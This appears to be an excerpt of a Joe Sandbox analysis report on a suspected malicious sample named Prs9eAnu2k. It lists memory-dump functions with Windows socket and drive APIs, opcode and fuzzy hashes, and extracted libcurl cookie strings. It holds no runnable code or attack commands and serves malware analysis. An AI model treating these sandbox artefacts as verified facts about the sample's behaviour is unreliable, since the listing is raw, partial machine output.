                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: socket
                                            • String ID:
                                            • API String ID: 98920635-0
                                            • Opcode ID: 2db10dbe19fe987940d84ec97506dec00fd823ace9f85cbeb10ae82453970a7e
                                            • Instruction ID: 7d7332a7dfb24d4cf63cd9a77342f2fa1a54f2c70c19d86e04742cdca3798db4
                                            • Opcode Fuzzy Hash: 2db10dbe19fe987940d84ec97506dec00fd823ace9f85cbeb10ae82453970a7e
                                            • Instruction Fuzzy Hash: A0E0E5B2A052256BD5549E58E8449ABF769EFC4B10F055A59BC5463308C330AC5587E2
                                            Function 06DB03C1 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLogicalDrives.KERNELBASE ref: 06DB03D6
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666343470.0000000006DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6db0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: DrivesLogical
                                            • String ID:
                                            • API String ID: 999431828-0
                                            • Opcode ID: 754d55807b3fecaaa8a8ad221dfcbd057b17230b718b31e5a3eda3f9c757c36a
                                            • Instruction ID: 78193f157e13d81c3bbbff79d8200b2b4539c463ceddfc1596ce8003801a896a
                                            • Opcode Fuzzy Hash: 754d55807b3fecaaa8a8ad221dfcbd057b17230b718b31e5a3eda3f9c757c36a
                                            • Instruction Fuzzy Hash: 24E07D86F08F43EB9382656405C8BEF2D110F84915331BD2A618B19A0CB0418C0288A1
                                            Function 0049B020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                            • closesocket.WS2_32(?,00499422,?,?,?,?,?,?,?,?,?,?,?,w3H,00891280,00000000), ref: 0049B04D
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: closesocket
                                            • String ID:
                                            • API String ID: 2781271927-0
                                            • Opcode ID: 0577958be97187ae604d3855fd8787571ca124b78f4be40aa20d36190f160af8
                                            • Instruction ID: 5a89d043361938ae37159498feba65e59ed7ec44e580ca11c2bd810c966008da
                                            • Opcode Fuzzy Hash: 0577958be97187ae604d3855fd8787571ca124b78f4be40aa20d36190f160af8
                                            • Instruction Fuzzy Hash: 30D0C23430020157CE208A14D984A577A2BBFC1710FA8CB78E02C4A291D73FCC438681
                                            Function 004367E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                            Download Yara Rule
                                            APIs
                                            • ioctlsocket.WS2_32(?,8004667E,?,?,0040AF56,?,00000001), ref: 004367FC
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: ioctlsocket
                                            • String ID:
                                            • API String ID: 3577187118-0
                                            • Opcode ID: 3056409b2df4d28211cdfe0f776a2a2347b8e9cd7d63cd8699a898bb50dac475
                                            • Instruction ID: 29cd3bc46e3341e317ad5f46d331739cbb97727dac3ffc3e058d06692d3e3400
                                            • Opcode Fuzzy Hash: 3056409b2df4d28211cdfe0f776a2a2347b8e9cd7d63cd8699a898bb50dac475
                                            • Instruction Fuzzy Hash: 5FC012F1118101AFC6088714DC65B2F76D8DB44355F01581CB04681180EB305990CA16
                                            Function 003D31D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: CloseHandle
                                            • String ID:
                                            • API String ID: 2962429428-0
                                            • Opcode ID: 4ffc80ce894d55995373afa91f0243a065ff1e7dfd4fbffb933b996720e0455d
                                            • Instruction ID: c0fa76656a3e9422a0be05eae568c4fb39b25e6973dbf7d47459c5e30ce3797d
                                            • Opcode Fuzzy Hash: 4ffc80ce894d55995373afa91f0243a065ff1e7dfd4fbffb933b996720e0455d
                                            • Instruction Fuzzy Hash: 7631AFB59087099BCB10FFB8D58569EBBF0BF44304F018969E898E7341E7749A548F92
                                            Function 06E20BDA Relevance: .2, Instructions: 184COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: a30d1aa9e39ca68a3707acf7bb951eabb1a7b493e62f0c385774e390d12c9a77
                                            • Instruction ID: 765087ff5da1fb71cef688de7b1a32bf89516b2698f2feb89fef93a93276ff63
                                            • Opcode Fuzzy Hash: a30d1aa9e39ca68a3707acf7bb951eabb1a7b493e62f0c385774e390d12c9a77
                                            • Instruction Fuzzy Hash: D73181EB14D2227DB29285412F15AFA5B6FE6C3B30730942BF803D9586E2C90E9D11B1
                                            Function 06E20C18 Relevance: .2, Instructions: 184COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 7d1d260b8bd15d504e2ac672bf38bad859fd38794e9f17faa2281fcfccc34c2d
                                            • Instruction ID: cb1302b9f1664668cdf127f452e791eaa20ac142b686e4fe45783ce8bd34abdf
                                            • Opcode Fuzzy Hash: 7d1d260b8bd15d504e2ac672bf38bad859fd38794e9f17faa2281fcfccc34c2d
                                            • Instruction Fuzzy Hash: CA316FEB14D3227DB28284512F55EFB5B6FE6C2B70731942BF803D9586E2C90E8E51B1
                                            Function 06E20BCD Relevance: .2, Instructions: 177COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: a11a0c9cd83128f77eaf035dd01dccd3aa1ab4b12239dd661663297698473e6b
                                            • Instruction ID: 88685a0e127a1f349bf72f50feff36adee3c358ecd75792a18c8837ed7203f79
                                            • Opcode Fuzzy Hash: a11a0c9cd83128f77eaf035dd01dccd3aa1ab4b12239dd661663297698473e6b
                                            • Instruction Fuzzy Hash: B0314DEB14D2227DB29284412F59FFA5B6FE2C2B30731942BF807D95C6E2C90E9D10B1
                                            Function 06E20BEE Relevance: .2, Instructions: 173COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 4a30d681c3654d6405a5577cb93b94cfa4995a24d86182cdee5acc8e53d0adc5
                                            • Instruction ID: fe3019821d2a94c7c8be060c6b3bd117cf60d12e1e4d46617d7451b3ad6abb55
                                            • Opcode Fuzzy Hash: 4a30d681c3654d6405a5577cb93b94cfa4995a24d86182cdee5acc8e53d0adc5
                                            • Instruction Fuzzy Hash: 483130EB14D2227DB29284512F55FFA5B2FE2C2B70731D42BF803D9586E2C90E9D10B1
                                            Function 06D90981 Relevance: .2, Instructions: 171COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666266100.0000000006D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6d90000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: b6170de0bcdfcdb2149c89355fdb6b511438b6c761ac5873526151e0df3963ae
                                            • Instruction ID: 2ee4932cb78d0f70ed3689aa3fd786752afd5e610de50d25232ecb4431c987e9
                                            • Opcode Fuzzy Hash: b6170de0bcdfcdb2149c89355fdb6b511438b6c761ac5873526151e0df3963ae
                                            • Instruction Fuzzy Hash: F731F6E710D250BEF74291902E55AFB7B7EDBC7630335846FF482D6503D2854E4A92B2
                                            Function 06E20C31 Relevance: .2, Instructions: 163COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 820444ffc9b7c41b90beec635c80c32c283e9de3e9b600cce2bed3b4fa84982c
                                            • Instruction ID: 3857a0c536669876f0c4b0068d6fa5a11b0d5964cfb7b0057eda2b3c9445e4fa
                                            • Opcode Fuzzy Hash: 820444ffc9b7c41b90beec635c80c32c283e9de3e9b600cce2bed3b4fa84982c
                                            • Instruction Fuzzy Hash: CE212CEB24D2217DB28285812F55FFA5B6FE6C2B30731D42BF802D8586E2C91F9E1171
                                            Function 06E20C49 Relevance: .2, Instructions: 156COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 614da7f6b3d46546b3a76f15657e6bd7f37b36a909fd55fcacccf08fcdd5b2ba
                                            • Instruction ID: a6e061cdcfb5eaaee1b7328e7c01885fc706c507852e5e0b86cd89712f06ed31
                                            • Opcode Fuzzy Hash: 614da7f6b3d46546b3a76f15657e6bd7f37b36a909fd55fcacccf08fcdd5b2ba
                                            • Instruction Fuzzy Hash: A92131EB14D2257DB28285913F55EFA5B6FE5C2B30731D42BF803D8586E2C91E8E2471
                                            Function 06E20C71 Relevance: .2, Instructions: 154COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: aada11a85e6d32e6e1437c79b324d4374b362dc440cc79fbd71e4fe29744b22b
                                            • Instruction ID: 13a6b6e4f7c530bfdd5e133aa3e2df857fa579054b7601491c61bfc36f7ac373
                                            • Opcode Fuzzy Hash: aada11a85e6d32e6e1437c79b324d4374b362dc440cc79fbd71e4fe29744b22b
                                            • Instruction Fuzzy Hash: 862131EB14D2217DB28291513F55AFA5B6FE2C2B70731D42BF803C8586E2C91F8E2071
                                            Function 06E20C87 Relevance: .1, Instructions: 133COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: eaf8c04972b801f26a398c5d78f0059974e1719d0d458f63d963e357bd01b3b4
                                            • Instruction ID: 1492b2ad46e8abcfab340125b5020ee1ad92ce62d4ccfb2d01a7b0a53a43e13e
                                            • Opcode Fuzzy Hash: eaf8c04972b801f26a398c5d78f0059974e1719d0d458f63d963e357bd01b3b4
                                            • Instruction Fuzzy Hash: 46215EEB14E2257DB28295413F65EFB5B6EE6C2B30731D42BF802C8586E2C91E8E1171
                                            Function 06E20CA8 Relevance: .1, Instructions: 123COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 54fbfcdee000e3b14413597ae5ff46316fa1bfc9ba7ce034c5a15ec091ffc45c
                                            • Instruction ID: c0c68da07d4d9345560da39298ceeb87e98c1ab56945ee8b457b85bbd788f8d2
                                            • Opcode Fuzzy Hash: 54fbfcdee000e3b14413597ae5ff46316fa1bfc9ba7ce034c5a15ec091ffc45c
                                            • Instruction Fuzzy Hash: 24114CEB24D2217D728285812F15EFB5B6EE6C2B30331D42BF806C4586E2C91E4E2071
                                            Function 06E20CD4 Relevance: .1, Instructions: 113COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 1bb825a09f0fe5548ca5a5cfd2a568c220baa3b3128fba062ef46cb77d92e4b5
                                            • Instruction ID: 06c691fec2fa579f7393dd16f9c10819b74a74dbf8197077d77adee3b97deced
                                            • Opcode Fuzzy Hash: 1bb825a09f0fe5548ca5a5cfd2a568c220baa3b3128fba062ef46cb77d92e4b5
                                            • Instruction Fuzzy Hash: CD118FEB14E2213D728291953F25AFAAB6EE4C6730331D42BF802C4446E2C91F8D6472
                                            Function 06E20CFD Relevance: .1, Instructions: 98COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 93bc0895ee505026883f4b370dc74afc32d6268822d1ad409472194e690aaa8d
                                            • Instruction ID: d18dda6920424a68c5b4987293d8fcf3c9769019a17dc2e32bedce1ddb6d5589
                                            • Opcode Fuzzy Hash: 93bc0895ee505026883f4b370dc74afc32d6268822d1ad409472194e690aaa8d
                                            • Instruction Fuzzy Hash: BD1184EB14D2253DB282D1913B64AFA6B6ED5C2770331D42BF803C4586D2C91F8E2572
                                            Function 06D90A64 Relevance: .1, Instructions: 87COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666266100.0000000006D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6d90000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 5ef94f624b8c0bb5abcb5e0fc45ad6b6896db7e7300c78c0c18249dcc7790453
                                            • Instruction ID: 128faff82a22ee19a12c4255072297846af902f2eb6120527e034e0038ea0806
                                            • Opcode Fuzzy Hash: 5ef94f624b8c0bb5abcb5e0fc45ad6b6896db7e7300c78c0c18249dcc7790453
                                            • Instruction Fuzzy Hash: 8F0129FB208254BCB642C4827F24EFB677ED6D6630732842BF842D1106E2844E8D20B2
                                            Function 06E20D42 Relevance: .1, Instructions: 55COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666850686.0000000006E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6e20000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: c96025c76b127432715f64e5278e257ac309274894b785cf61e726241d8104a9
                                            • Instruction ID: 98e549f703ee25002fd66b17088cbae02d5d11e672bbcbc9800d0ccc898aece7
                                            • Opcode Fuzzy Hash: c96025c76b127432715f64e5278e257ac309274894b785cf61e726241d8104a9
                                            • Instruction Fuzzy Hash: C6F027DB10E3253E32C3E1802B909FA1F5FE5D3370330E417F802C8582C1891A8A1571

                                            Non-executed Functions

                                            Function 00411BE0 Relevance: 33.9, Strings: 26, Instructions: 1418COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: #HttpOnly_$%s cookie %s="%s" for domain %s, path %s, expire %lld$;=$;$=$Added$FALSE$Replaced$TRUE$__Host-$__Secure-$cookie '%s' dropped, domain '%s' must not set cookies for '%s'$cookie '%s' for domain '%s' dropped, would overlay an existing cookie$cookie contains TAB, dropping$cookie.c$domain$expires$httponly$invalid octets in name/value, cookie dropped$libpsl problem, rejecting cookie for satety$max-age$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
                                            • API String ID: 0-1371176463
                                            • Opcode ID: 884fb0e35aba85de20491c433be5c855b83154a65179ed7dfae727531ef69a5e
                                            • Instruction ID: 17b476532cadf07c6d1d446d8119a722e8eb546af4a82425b732b0dbd90e1abc
                                            • Opcode Fuzzy Hash: 884fb0e35aba85de20491c433be5c855b83154a65179ed7dfae727531ef69a5e
                                            • Instruction Fuzzy Hash: 73B26C71A08300ABD725AB24DD46BA77BD56F84304F04452EF88CDB392F7B9EC95874A
                                            Function 0075E050 Relevance: 24.8, APIs: 10, Strings: 3, Instructions: 2082COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
